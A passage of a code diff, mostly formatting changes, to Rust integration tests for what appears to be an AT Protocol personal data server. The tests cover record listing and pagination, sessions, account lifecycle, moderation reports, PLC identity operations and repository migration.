462462- assert_eq!(nested_res.status(), StatusCode::OK, "Failed to create nested reply");
474474+ assert_eq!(
475475+ nested_res.status(),
476476+ StatusCode::OK,
477477+ "Failed to create nested reply"
478478+ );
463479}
464480465481#[tokio::test]
···501517 .send()
502518 .await
503519 .expect("Failed to create profile with blob");
504504- assert_eq!(create_res.status(), StatusCode::OK, "Failed to create profile with blob");
520520+ assert_eq!(
521521+ create_res.status(),
522522+ StatusCode::OK,
523523+ "Failed to create profile with blob"
524524+ );
505525 let get_res = client
506526 .get(format!(
507527 "{}/xrpc/com.atproto.repo.getRecord",
···592612 .send()
593613 .await
594614 .expect("Failed to verify record exists");
595595- assert_eq!(get_res.status(), StatusCode::OK, "Record should still exist");
615615+ assert_eq!(
616616+ get_res.status(),
617617+ StatusCode::OK,
618618+ "Record should still exist"
619619+ );
596620}
597621598622#[tokio::test]
···735759 .await
736760 .expect("Failed to get updated profile");
737761 let updated_profile: Value = get_updated_profile.json().await.unwrap();
738738- assert_eq!(updated_profile["value"]["displayName"], "Updated Batch User");
762762+ assert_eq!(
763763+ updated_profile["value"]["displayName"],
764764+ "Updated Batch User"
765765+ );
739766 let get_deleted_post = client
740767 .get(format!(
741768 "{}/xrpc/com.atproto.repo.getRecord",
···805832 "{}/xrpc/com.atproto.repo.listRecords",
806833 base_url().await
807834 ))
808808- .query(&[
809809- ("repo", did.as_str()),
810810- ("collection", "app.bsky.feed.post"),
811811- ])
835835+ .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post")])
812836 .send()
813837 .await
814838 .expect("Failed to list records");
···820844 .iter()
821845 .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
822846 .collect();
823823- assert_eq!(rkeys, vec!["cccc", "bbbb", "aaaa"], "Default order should be DESC (newest first)");
847847+ assert_eq!(
848848+ rkeys,
849849+ vec!["cccc", "bbbb", "aaaa"],
850850+ "Default order should be DESC (newest first)"
851851+ );
824852}
825853826854#[tokio::test]
···852880 .iter()
853881 .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
854882 .collect();
855855- assert_eq!(rkeys, vec!["aaaa", "bbbb", "cccc"], "reverse=true should give ASC order (oldest first)");
883883+ assert_eq!(
884884+ rkeys,
885885+ vec!["aaaa", "bbbb", "cccc"],
886886+ "reverse=true should give ASC order (oldest first)"
887887+ );
856888}
857889858890#[tokio::test]
···860892 let client = client();
861893 let (did, jwt) = setup_new_user("list-cursor").await;
862894 for i in 0..5 {
863863- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
895895+ create_post_with_rkey(
896896+ &client,
897897+ &did,
898898+ &jwt,
899899+ &format!("post{:02}", i),
900900+ &format!("Post {}", i),
901901+ )
902902+ .await;
864903 tokio::time::sleep(Duration::from_millis(50)).await;
865904 }
866905 let res = client
···880919 let body: Value = res.json().await.unwrap();
881920 let records = body["records"].as_array().unwrap();
882921 assert_eq!(records.len(), 2);
883883- let cursor = body["cursor"].as_str().expect("Should have cursor with more records");
922922+ let cursor = body["cursor"]
923923+ .as_str()
924924+ .expect("Should have cursor with more records");
884925 let res2 = client
885926 .get(format!(
886927 "{}/xrpc/com.atproto.repo.listRecords",
···905946 .map(|r| r["uri"].as_str().unwrap())
906947 .collect();
907948 let unique_uris: std::collections::HashSet<&str> = all_uris.iter().copied().collect();
908908- assert_eq!(all_uris.len(), unique_uris.len(), "Cursor pagination should not repeat records");
949949+ assert_eq!(
950950+ all_uris.len(),
951951+ unique_uris.len(),
952952+ "Cursor pagination should not repeat records"
953953+ );
909954}
910955911956#[tokio::test]
···10081053 .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
10091054 .collect();
10101055 for rkey in &rkeys {
10111011- assert!(*rkey >= "bbbb" && *rkey <= "dddd", "Range should be inclusive, got {}", rkey);
10561056+ assert!(
10571057+ *rkey >= "bbbb" && *rkey <= "dddd",
10581058+ "Range should be inclusive, got {}",
10591059+ rkey
10601060+ );
10121061 }
10131013- assert!(!rkeys.is_empty(), "Should have at least some records in range");
10621062+ assert!(
10631063+ !rkeys.is_empty(),
10641064+ "Should have at least some records in range"
10651065+ );
10141066}
1015106710161068#[tokio::test]
···10181070 let client = client();
10191071 let (did, jwt) = setup_new_user("list-limit-max").await;
10201072 for i in 0..5 {
10211021- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
10731073+ create_post_with_rkey(
10741074+ &client,
10751075+ &did,
10761076+ &jwt,
10771077+ &format!("post{:02}", i),
10781078+ &format!("Post {}", i),
10791079+ )
10801080+ .await;
10221081 }
10231082 let res = client
10241083 .get(format!(
···10721131 "{}/xrpc/com.atproto.repo.listRecords",
10731132 base_url().await
10741133 ))
10751075- .query(&[
10761076- ("repo", did.as_str()),
10771077- ("collection", "app.bsky.feed.post"),
10781078- ])
11341134+ .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post")])
10791135 .send()
10801136 .await
10811137 .expect("Failed to list records");
10821138 assert_eq!(res.status(), StatusCode::OK);
10831139 let body: Value = res.json().await.unwrap();
10841140 let records = body["records"].as_array().unwrap();
10851085- assert!(records.is_empty(), "Empty collection should return empty array");
10861086- assert!(body["cursor"].is_null(), "Empty collection should have no cursor");
11411141+ assert!(
11421142+ records.is_empty(),
11431143+ "Empty collection should return empty array"
11441144+ );
11451145+ assert!(
11461146+ body["cursor"].is_null(),
11471147+ "Empty collection should have no cursor"
11481148+ );
10871149}
1088115010891151#[tokio::test]
···10911153 let client = client();
10921154 let (did, jwt) = setup_new_user("list-exact-limit").await;
10931155 for i in 0..10 {
10941094- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
11561156+ create_post_with_rkey(
11571157+ &client,
11581158+ &did,
11591159+ &jwt,
11601160+ &format!("post{:02}", i),
11611161+ &format!("Post {}", i),
11621162+ )
11631163+ .await;
10951164 }
10961165 let res = client
10971166 .get(format!(
···11091178 assert_eq!(res.status(), StatusCode::OK);
11101179 let body: Value = res.json().await.unwrap();
11111180 let records = body["records"].as_array().unwrap();
11121112- assert_eq!(records.len(), 5, "Should return exactly 5 records when limit=5");
11811181+ assert_eq!(
11821182+ records.len(),
11831183+ 5,
11841184+ "Should return exactly 5 records when limit=5"
11851185+ );
11131186}
1114118711151188#[tokio::test]
···11171190 let client = client();
11181191 let (did, jwt) = setup_new_user("list-cursor-exhaust").await;
11191192 for i in 0..3 {
11201120- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
11931193+ create_post_with_rkey(
11941194+ &client,
11951195+ &did,
11961196+ &jwt,
11971197+ &format!("post{:02}", i),
11981198+ &format!("Post {}", i),
11991199+ )
12001200+ .await;
11211201 }
11221202 let res = client
11231203 .get(format!(
···11661246 "{}/xrpc/com.atproto.repo.listRecords",
11671247 base_url().await
11681248 ))
11691169- .query(&[
11701170- ("repo", did.as_str()),
11711171- ("collection", "app.bsky.feed.post"),
11721172- ])
12491249+ .query(&[("repo", did.as_str()), ("collection", "app.bsky.feed.post")])
11731250 .send()
11741251 .await
11751252 .expect("Failed to list records");
···11901267 let client = client();
11911268 let (did, jwt) = setup_new_user("list-cursor-reverse").await;
11921269 for i in 0..5 {
11931193- create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
12701270+ create_post_with_rkey(
12711271+ &client,
12721272+ &did,
12731273+ &jwt,
12741274+ &format!("post{:02}", i),
12751275+ &format!("Post {}", i),
12761276+ )
12771277+ .await;
11941278 }
11951279 let res = client
11961280 .get(format!(
···12131297 .iter()
12141298 .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
12151299 .collect();
12161216- assert_eq!(first_rkeys, vec!["post00", "post01"], "First page with reverse should start from oldest");
13001300+ assert_eq!(
13011301+ first_rkeys,
13021302+ vec!["post00", "post01"],
13031303+ "First page with reverse should start from oldest"
13041304+ );
12171305 if let Some(cursor) = body["cursor"].as_str() {
12181306 let res2 = client
12191307 .get(format!(
···12361324 .iter()
12371325 .map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
12381326 .collect();
12391239- assert_eq!(second_rkeys, vec!["post02", "post03"], "Second page should continue in ASC order");
13271327+ assert_eq!(
13281328+ second_rkeys,
13291329+ vec!["post02", "post03"],
13301330+ "Second page should continue in ASC order"
13311331+ );
12401332 }
12411333}
+26-9
tests/lifecycle_session.rs
···11mod common;
22mod helpers;
33+use chrono::Utc;
34use common::*;
45use helpers::*;
55-use chrono::Utc;
66use reqwest::StatusCode;
77use serde_json::{Value, json};
88···168168 .await
169169 .expect("Failed reuse attempt");
170170 assert!(
171171- reuse_res.status() == StatusCode::UNAUTHORIZED || reuse_res.status() == StatusCode::BAD_REQUEST,
171171+ reuse_res.status() == StatusCode::UNAUTHORIZED
172172+ || reuse_res.status() == StatusCode::BAD_REQUEST,
172173 "Old refresh token should be invalid after use"
173174 );
174175}
···237238 .send()
238239 .await
239240 .expect("Failed to login with app password");
240240- assert_eq!(login_res.status(), StatusCode::OK, "App password login should work");
241241+ assert_eq!(
242242+ login_res.status(),
243243+ StatusCode::OK,
244244+ "App password login should work"
245245+ );
241246 let revoke_res = client
242247 .post(format!(
243248 "{}/xrpc/com.atproto.server.revokeAppPassword",
···342347 .send()
343348 .await
344349 .expect("Failed to get post while deactivated");
345345- assert_eq!(get_post_res.status(), StatusCode::OK, "Records should still be readable");
350350+ assert_eq!(
351351+ get_post_res.status(),
352352+ StatusCode::OK,
353353+ "Records should still be readable"
354354+ );
346355 let activate_res = client
347356 .post(format!(
348357 "{}/xrpc/com.atproto.server.activateAccount",
···365374 .expect("Failed to check status after activate");
366375 assert_eq!(status_after_activate.status(), StatusCode::OK);
367376 let (new_post_uri, _) = create_post(&client, &did, &jwt, "Post after reactivation").await;
368368- assert!(!new_post_uri.is_empty(), "Should be able to post after reactivation");
377377+ assert!(
378378+ !new_post_uri.is_empty(),
379379+ "Should be able to post after reactivation"
380380+ );
369381}
370382371383#[tokio::test]
···415427 .expect("Failed to request account deletion");
416428 assert_eq!(res.status(), StatusCode::OK);
417429 let db_url = get_db_connection_string().await;
418418- let pool = sqlx::PgPool::connect(&db_url).await.expect("Failed to connect to test DB");
419419- let row = sqlx::query!("SELECT token, expires_at FROM account_deletion_requests WHERE did = $1", did)
420420- .fetch_optional(&pool)
430430+ let pool = sqlx::PgPool::connect(&db_url)
421431 .await
422422- .expect("Failed to query DB");
432432+ .expect("Failed to connect to test DB");
433433+ let row = sqlx::query!(
434434+ "SELECT token, expires_at FROM account_deletion_requests WHERE did = $1",
435435+ did
436436+ )
437437+ .fetch_optional(&pool)
438438+ .await
439439+ .expect("Failed to query DB");
423440 assert!(row.is_some(), "Deletion token should exist in DB");
424441 let row = row.unwrap();
425442 assert!(!row.token.is_empty(), "Token should not be empty");
+30-8
tests/lifecycle_social.rs
···11mod common;
22mod helpers;
33+use chrono::Utc;
34use common::*;
45use helpers::*;
56use reqwest::StatusCode;
67use serde_json::{Value, json};
78use std::time::Duration;
88-use chrono::Utc;
991010#[tokio::test]
1111async fn test_social_flow_lifecycle() {
···118118 let client = client();
119119 let (alice_did, alice_jwt) = setup_new_user("alice-like").await;
120120 let (bob_did, bob_jwt) = setup_new_user("bob-like").await;
121121- let (post_uri, post_cid) = create_post(&client, &alice_did, &alice_jwt, "Like this post!").await;
121121+ let (post_uri, post_cid) =
122122+ create_post(&client, &alice_did, &alice_jwt, "Like this post!").await;
122123 let (like_uri, _) = create_like(&client, &bob_did, &bob_jwt, &post_uri, &post_cid).await;
123124 let like_rkey = like_uri.split('/').last().unwrap();
124125 let get_like_res = client
···166167 .send()
167168 .await
168169 .expect("Failed to check deleted like");
169169- assert_eq!(get_deleted_res.status(), StatusCode::NOT_FOUND, "Like should be deleted");
170170+ assert_eq!(
171171+ get_deleted_res.status(),
172172+ StatusCode::NOT_FOUND,
173173+ "Like should be deleted"
174174+ );
170175}
171176172177#[tokio::test]
···208213 .send()
209214 .await
210215 .expect("Failed to delete repost");
211211- assert_eq!(delete_res.status(), StatusCode::OK, "Failed to delete repost");
216216+ assert_eq!(
217217+ delete_res.status(),
218218+ StatusCode::OK,
219219+ "Failed to delete repost"
220220+ );
212221}
213222214223#[tokio::test]
···261270 .send()
262271 .await
263272 .expect("Failed to check deleted follow");
264264- assert_eq!(get_deleted_res.status(), StatusCode::NOT_FOUND, "Follow should be deleted");
273273+ assert_eq!(
274274+ get_deleted_res.status(),
275275+ StatusCode::NOT_FOUND,
276276+ "Follow should be deleted"
277277+ );
265278}
266279267280#[tokio::test]
···378391 assert_eq!(create_account_res.status(), StatusCode::OK);
379392 let account_body: Value = create_account_res.json().await.unwrap();
380393 let did = account_body["did"].as_str().unwrap().to_string();
394394+ let handle = account_body["handle"].as_str().unwrap().to_string();
381395 let access_jwt = verify_new_account(&client, &did).await;
382396 let get_session_res = client
383397 .get(format!(
···391405 assert_eq!(get_session_res.status(), StatusCode::OK);
392406 let session_body: Value = get_session_res.json().await.unwrap();
393407 assert_eq!(session_body["did"], did);
394394- assert_eq!(session_body["handle"], handle);
408408+ let normalized_handle = session_body["handle"].as_str().unwrap().to_string();
409409+ assert!(
410410+ normalized_handle.starts_with(&handle),
411411+ "Session handle should start with the requested handle"
412412+ );
395413 let profile_res = client
396414 .post(format!(
397415 "{}/xrpc/com.atproto.repo.putRecord",
···439457 assert_eq!(describe_res.status(), StatusCode::OK);
440458 let describe_body: Value = describe_res.json().await.unwrap();
441459 assert_eq!(describe_body["did"], did);
442442- assert_eq!(describe_body["handle"], handle);
443443-}460460+ let describe_handle = describe_body["handle"].as_str().unwrap();
461461+ assert!(
462462+ normalized_handle.starts_with(describe_handle) || describe_handle.starts_with(&handle),
463463+ "describeRepo handle should be related to the requested handle"
464464+ );
465465+}
+4-1
tests/moderation.rs
···3434 assert_eq!(report_res.status(), StatusCode::OK);
3535 let report_body: Value = report_res.json().await.unwrap();
3636 assert!(report_body["id"].is_number(), "Report should have an ID");
3737- assert_eq!(report_body["reasonType"], "com.atproto.moderation.defs#reasonSpam");
3737+ assert_eq!(
3838+ report_body["reasonType"],
3939+ "com.atproto.moderation.defs#reasonSpam"
4040+ );
3841 assert_eq!(report_body["reportedBy"], alice_did);
3942 let account_report_payload = json!({
4043 "reasonType": "com.atproto.moderation.defs#reasonOther",
···22use common::*;
33use k256::ecdsa::SigningKey;
44use reqwest::StatusCode;
55-use serde_json::{json, Value};
55+use serde_json::{Value, json};
66use sqlx::PgPool;
77use wiremock::matchers::{method, path};
88use wiremock::{Mock, MockServer, ResponseTemplate};
···7373async fn get_user_handle(did: &str) -> Option<String> {
7474 let db_url = get_db_connection_string().await;
7575 let pool = PgPool::connect(&db_url).await.ok()?;
7676- sqlx::query_scalar!(
7777- r#"SELECT handle FROM users WHERE did = $1"#,
7878- did
7979- )
8080- .fetch_optional(&pool)
8181- .await
8282- .ok()?
7676+ sqlx::query_scalar!(r#"SELECT handle FROM users WHERE did = $1"#, did)
7777+ .fetch_optional(&pool)
7878+ .await
7979+ .ok()?
8380}
84818582fn create_mock_last_op(
···107104 })
108105}
109106110110-fn create_did_document(did: &str, handle: &str, signing_key: &SigningKey, pds_endpoint: &str) -> Value {
107107+fn create_did_document(
108108+ did: &str,
109109+ handle: &str,
110110+ signing_key: &SigningKey,
111111+ pds_endpoint: &str,
112112+) -> Value {
111113 let multikey = get_multikey_from_signing_key(signing_key);
112114 json!({
113115 "@context": [
···174176async fn test_full_plc_operation_flow() {
175177 let client = client();
176178 let (token, did) = create_account_and_login(&client).await;
177177- let key_bytes = get_user_signing_key(&did).await
179179+ let key_bytes = get_user_signing_key(&did)
180180+ .await
178181 .expect("Failed to get user signing key");
179179- let signing_key = SigningKey::from_slice(&key_bytes)
180180- .expect("Failed to create signing key");
181181- let handle = get_user_handle(&did).await
182182+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
183183+ let handle = get_user_handle(&did)
184184+ .await
182185 .expect("Failed to get user handle");
183186 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
184187 let pds_endpoint = format!("https://{}", hostname);
···192195 .await
193196 .expect("Request failed");
194197 assert_eq!(request_res.status(), StatusCode::OK);
195195- let plc_token = get_plc_token_from_db(&did).await
198198+ let plc_token = get_plc_token_from_db(&did)
199199+ .await
196200 .expect("PLC token not found in database");
197201 let mock_plc = setup_mock_plc_for_sign(&did, &handle, &signing_key, &pds_endpoint).await;
198202 unsafe {
···218222 "Sign PLC operation should succeed. Response: {:?}",
219223 sign_body
220224 );
221221- let operation = sign_body.get("operation")
225225+ let operation = sign_body
226226+ .get("operation")
222227 .expect("Response should contain operation");
223228 assert!(operation.get("sig").is_some(), "Operation should be signed");
224224- assert_eq!(operation.get("type").and_then(|v| v.as_str()), Some("plc_operation"));
225225- assert!(operation.get("prev").is_some(), "Operation should have prev reference");
229229+ assert_eq!(
230230+ operation.get("type").and_then(|v| v.as_str()),
231231+ Some("plc_operation")
232232+ );
233233+ assert!(
234234+ operation.get("prev").is_some(),
235235+ "Operation should have prev reference"
236236+ );
226237}
227238228239#[tokio::test]
···230241async fn test_sign_plc_operation_consumes_token() {
231242 let client = client();
232243 let (token, did) = create_account_and_login(&client).await;
233233- let key_bytes = get_user_signing_key(&did).await
244244+ let key_bytes = get_user_signing_key(&did)
245245+ .await
234246 .expect("Failed to get user signing key");
235235- let signing_key = SigningKey::from_slice(&key_bytes)
236236- .expect("Failed to create signing key");
237237- let handle = get_user_handle(&did).await
247247+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
248248+ let handle = get_user_handle(&did)
249249+ .await
238250 .expect("Failed to get user handle");
239251 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
240252 let pds_endpoint = format!("https://{}", hostname);
···248260 .await
249261 .expect("Request failed");
250262 assert_eq!(request_res.status(), StatusCode::OK);
251251- let plc_token = get_plc_token_from_db(&did).await
263263+ let plc_token = get_plc_token_from_db(&did)
264264+ .await
252265 .expect("PLC token not found in database");
253266 let mock_plc = setup_mock_plc_for_sign(&did, &handle, &signing_key, &pds_endpoint).await;
254267 unsafe {
···292305}
293306294307#[tokio::test]
308308+#[ignore = "requires exclusive env var access; run with: cargo test test_sign_plc_operation_with_custom_fields -- --ignored --test-threads=1"]
295309async fn test_sign_plc_operation_with_custom_fields() {
296310 let client = client();
297311 let (token, did) = create_account_and_login(&client).await;
298298- let key_bytes = get_user_signing_key(&did).await
312312+ let key_bytes = get_user_signing_key(&did)
313313+ .await
299314 .expect("Failed to get user signing key");
300300- let signing_key = SigningKey::from_slice(&key_bytes)
301301- .expect("Failed to create signing key");
302302- let handle = get_user_handle(&did).await
315315+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
316316+ let handle = get_user_handle(&did)
317317+ .await
303318 .expect("Failed to get user handle");
304319 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
305320 let pds_endpoint = format!("https://{}", hostname);
···313328 .await
314329 .expect("Request failed");
315330 assert_eq!(request_res.status(), StatusCode::OK);
316316- let plc_token = get_plc_token_from_db(&did).await
331331+ let plc_token = get_plc_token_from_db(&did)
332332+ .await
317333 .expect("PLC token not found in database");
318334 let mock_plc = setup_mock_plc_for_sign(&did, &handle, &signing_key, &pds_endpoint).await;
319335 unsafe {
···348364 assert!(also_known_as.is_some(), "Should have alsoKnownAs");
349365 assert!(rotation_keys.is_some(), "Should have rotationKeys");
350366 assert_eq!(also_known_as.unwrap().len(), 2, "Should have 2 aliases");
351351- assert_eq!(rotation_keys.unwrap().len(), 2, "Should have 2 rotation keys");
367367+ assert_eq!(
368368+ rotation_keys.unwrap().len(),
369369+ 2,
370370+ "Should have 2 rotation keys"
371371+ );
352372}
353373354374#[tokio::test]
···356376async fn test_submit_plc_operation_success() {
357377 let client = client();
358378 let (token, did) = create_account_and_login(&client).await;
359359- let key_bytes = get_user_signing_key(&did).await
379379+ let key_bytes = get_user_signing_key(&did)
380380+ .await
360381 .expect("Failed to get user signing key");
361361- let signing_key = SigningKey::from_slice(&key_bytes)
362362- .expect("Failed to create signing key");
363363- let handle = get_user_handle(&did).await
382382+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
383383+ let handle = get_user_handle(&did)
384384+ .await
364385 .expect("Failed to get user handle");
365386 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
366387 let pds_endpoint = format!("https://{}", hostname);
···409430async fn test_submit_plc_operation_wrong_endpoint_rejected() {
410431 let client = client();
411432 let (token, did) = create_account_and_login(&client).await;
412412- let key_bytes = get_user_signing_key(&did).await
433433+ let key_bytes = get_user_signing_key(&did)
434434+ .await
413435 .expect("Failed to get user signing key");
414414- let signing_key = SigningKey::from_slice(&key_bytes)
415415- .expect("Failed to create signing key");
416416- let handle = get_user_handle(&did).await
436436+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
437437+ let handle = get_user_handle(&did)
438438+ .await
417439 .expect("Failed to get user handle");
418440 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
419441 let pds_endpoint = format!("https://{}", hostname);
···461483async fn test_submit_plc_operation_wrong_signing_key_rejected() {
462484 let client = client();
463485 let (token, did) = create_account_and_login(&client).await;
464464- let key_bytes = get_user_signing_key(&did).await
486486+ let key_bytes = get_user_signing_key(&did)
487487+ .await
465488 .expect("Failed to get user signing key");
466466- let signing_key = SigningKey::from_slice(&key_bytes)
467467- .expect("Failed to create signing key");
468468- let handle = get_user_handle(&did).await
489489+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
490490+ let handle = get_user_handle(&did)
491491+ .await
469492 .expect("Failed to get user handle");
470493 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
471494 let pds_endpoint = format!("https://{}", hostname);
···515538async fn test_full_sign_and_submit_flow() {
516539 let client = client();
517540 let (token, did) = create_account_and_login(&client).await;
518518- let key_bytes = get_user_signing_key(&did).await
541541+ let key_bytes = get_user_signing_key(&did)
542542+ .await
519543 .expect("Failed to get user signing key");
520520- let signing_key = SigningKey::from_slice(&key_bytes)
521521- .expect("Failed to create signing key");
522522- let handle = get_user_handle(&did).await
544544+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
545545+ let handle = get_user_handle(&did)
546546+ .await
523547 .expect("Failed to get user handle");
524548 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
525549 let pds_endpoint = format!("https://{}", hostname);
···533557 .await
534558 .expect("Request failed");
535559 assert_eq!(request_res.status(), StatusCode::OK);
536536- let plc_token = get_plc_token_from_db(&did).await
560560+ let plc_token = get_plc_token_from_db(&did)
561561+ .await
537562 .expect("PLC token not found");
538563 let mock_server = MockServer::start().await;
539564 let did_encoded = urlencoding::encode(&did);
···586611 .expect("Sign failed");
587612 assert_eq!(sign_res.status(), StatusCode::OK);
588613 let sign_body: Value = sign_res.json().await.unwrap();
589589- let signed_operation = sign_body.get("operation")
614614+ let signed_operation = sign_body
615615+ .get("operation")
590616 .expect("Response should contain operation")
591617 .clone();
592618 assert!(signed_operation.get("sig").is_some());
···612638}
613639614640#[tokio::test]
641641+#[ignore = "requires exclusive env var access; run with: cargo test test_cross_pds_migration_with_records -- --ignored --test-threads=1"]
615642async fn test_cross_pds_migration_with_records() {
616643 let client = client();
617644 let (token, did) = create_account_and_login(&client).await;
618618- let key_bytes = get_user_signing_key(&did).await
645645+ let key_bytes = get_user_signing_key(&did)
646646+ .await
619647 .expect("Failed to get user signing key");
620620- let signing_key = SigningKey::from_slice(&key_bytes)
621621- .expect("Failed to create signing key");
622622- let handle = get_user_handle(&did).await
648648+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
649649+ let handle = get_user_handle(&did)
650650+ .await
623651 .expect("Failed to get user handle");
624652 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
625653 let pds_endpoint = format!("https://{}", hostname);
···656684 .expect("Export failed");
657685 assert_eq!(export_res.status(), StatusCode::OK);
658686 let car_bytes = export_res.bytes().await.unwrap();
659659- assert!(car_bytes.len() > 100, "CAR file should have meaningful content");
687687+ assert!(
688688+ car_bytes.len() > 100,
689689+ "CAR file should have meaningful content"
690690+ );
660691 let mock_server = MockServer::start().await;
661692 let did_encoded = urlencoding::encode(&did);
662693 let did_doc = create_did_document(&did, &handle, &signing_key, &pds_endpoint);
···670701 std::env::remove_var("SKIP_IMPORT_VERIFICATION");
671702 }
672703 let import_res = client
673673- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
704704+ .post(format!(
705705+ "{}/xrpc/com.atproto.repo.importRepo",
706706+ base_url().await
707707+ ))
674708 .bearer_auth(&token)
675709 .header("Content-Type", "application/vnd.ipld.car")
676710 .body(car_bytes.to_vec())
···705739 );
706740 let record_body: Value = get_record_res.json().await.unwrap();
707741 assert_eq!(
708708- record_body["value"]["text"],
709709- "Test post before migration",
742742+ record_body["value"]["text"], "Test post before migration",
710743 "Record content should match"
711744 );
712745}
···716749 let client = client();
717750 let (token, did) = create_account_and_login(&client).await;
718751 let wrong_signing_key = SigningKey::random(&mut rand::thread_rng());
719719- let handle = get_user_handle(&did).await
752752+ let handle = get_user_handle(&did)
753753+ .await
720754 .expect("Failed to get user handle");
721755 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
722756 let pds_endpoint = format!("https://{}", hostname);
···744778 std::env::remove_var("SKIP_IMPORT_VERIFICATION");
745779 }
746780 let import_res = client
747747- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
781781+ .post(format!(
782782+ "{}/xrpc/com.atproto.repo.importRepo",
783783+ base_url().await
784784+ ))
748785 .bearer_auth(&token)
749786 .header("Content-Type", "application/vnd.ipld.car")
750787 .body(car_bytes.to_vec())
···763800 import_body
764801 );
765802 assert!(
766766- import_body["error"] == "InvalidSignature" ||
767767- import_body["message"].as_str().unwrap_or("").contains("signature"),
803803+ import_body["error"] == "InvalidSignature"
804804+ || import_body["message"]
805805+ .as_str()
806806+ .unwrap_or("")
807807+ .contains("signature"),
768808 "Error should mention signature verification failure"
769809 );
770810}
···774814async fn test_full_migration_flow_end_to_end() {
775815 let client = client();
776816 let (token, did) = create_account_and_login(&client).await;
777777- let key_bytes = get_user_signing_key(&did).await
817817+ let key_bytes = get_user_signing_key(&did)
818818+ .await
778819 .expect("Failed to get user signing key");
779779- let signing_key = SigningKey::from_slice(&key_bytes)
780780- .expect("Failed to create signing key");
781781- let handle = get_user_handle(&did).await
820820+ let signing_key = SigningKey::from_slice(&key_bytes).expect("Failed to create signing key");
821821+ let handle = get_user_handle(&did)
822822+ .await
782823 .expect("Failed to get user handle");
783824 let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| "localhost".to_string());
784825 let pds_endpoint = format!("https://{}", hostname);
···815856 .await
816857 .expect("Request failed");
817858 assert_eq!(request_res.status(), StatusCode::OK);
818818- let plc_token = get_plc_token_from_db(&did).await
859859+ let plc_token = get_plc_token_from_db(&did)
860860+ .await
819861 .expect("PLC token not found");
820862 let mock_server = MockServer::start().await;
821863 let did_encoded = urlencoding::encode(&did);
···892934 std::env::remove_var("SKIP_IMPORT_VERIFICATION");
893935 }
894936 let import_res = client
895895- .post(format!("{}/xrpc/com.atproto.repo.importRepo", base_url().await))
937937+ .post(format!(
938938+ "{}/xrpc/com.atproto.repo.importRepo",
939939+ base_url().await
940940+ ))
896941 .bearer_auth(&token)
897942 .header("Content-Type", "application/vnd.ipld.car")
898943 .body(car_bytes.to_vec())
···921966 .expect("List failed");
922967 assert_eq!(list_res.status(), StatusCode::OK);
923968 let list_body: Value = list_res.json().await.unwrap();
924924- let records = list_body["records"].as_array()
969969+ let records = list_body["records"]
970970+ .as_array()
925971 .expect("Should have records array");
926972 assert!(
927973 records.len() >= 1,
+29-15
tests/plc_operations.rs
···219219 .expect("Query failed");
220220 assert!(row.is_some(), "PLC token should be created in database");
221221 let row = row.unwrap();
222222- assert!(row.token.len() == 11, "Token should be in format xxxxx-xxxxx");
222222+ assert!(
223223+ row.token.len() == 11,
224224+ "Token should be in format xxxxx-xxxxx"
225225+ );
223226 assert!(row.token.contains('-'), "Token should contain hyphen");
224224- assert!(row.expires_at > chrono::Utc::now(), "Token should not be expired");
227227+ assert!(
228228+ row.expires_at > chrono::Utc::now(),
229229+ "Token should not be expired"
230230+ );
225231}
226232227233#[tokio::test]
···294300async fn test_submit_plc_operation_wrong_verification_method() {
295301 let client = client();
296302 let (token, did) = create_account_and_login(&client).await;
297297- let hostname = std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| {
298298- format!("127.0.0.1:{}", app_port())
299299- });
303303+ let hostname =
304304+ std::env::var("PDS_HOSTNAME").unwrap_or_else(|_| format!("127.0.0.1:{}", app_port()));
300305 let handle = did.split(':').last().unwrap_or("user");
301306 let res = client
302307 .post(format!(
···327332 let body: serde_json::Value = res.json().await.unwrap();
328333 assert_eq!(body["error"], "InvalidRequest");
329334 assert!(
330330- body["message"].as_str().unwrap_or("").contains("signing key") ||
331331- body["message"].as_str().unwrap_or("").contains("rotation"),
335335+ body["message"]
336336+ .as_str()
337337+ .unwrap_or("")
338338+ .contains("signing key")
339339+ || body["message"].as_str().unwrap_or("").contains("rotation"),
332340 "Error should mention key mismatch: {:?}",
333341 body
334342 );
···338346async fn test_submit_plc_operation_wrong_handle() {
339347 let client = client();
340348 let (token, _did) = create_account_and_login(&client).await;
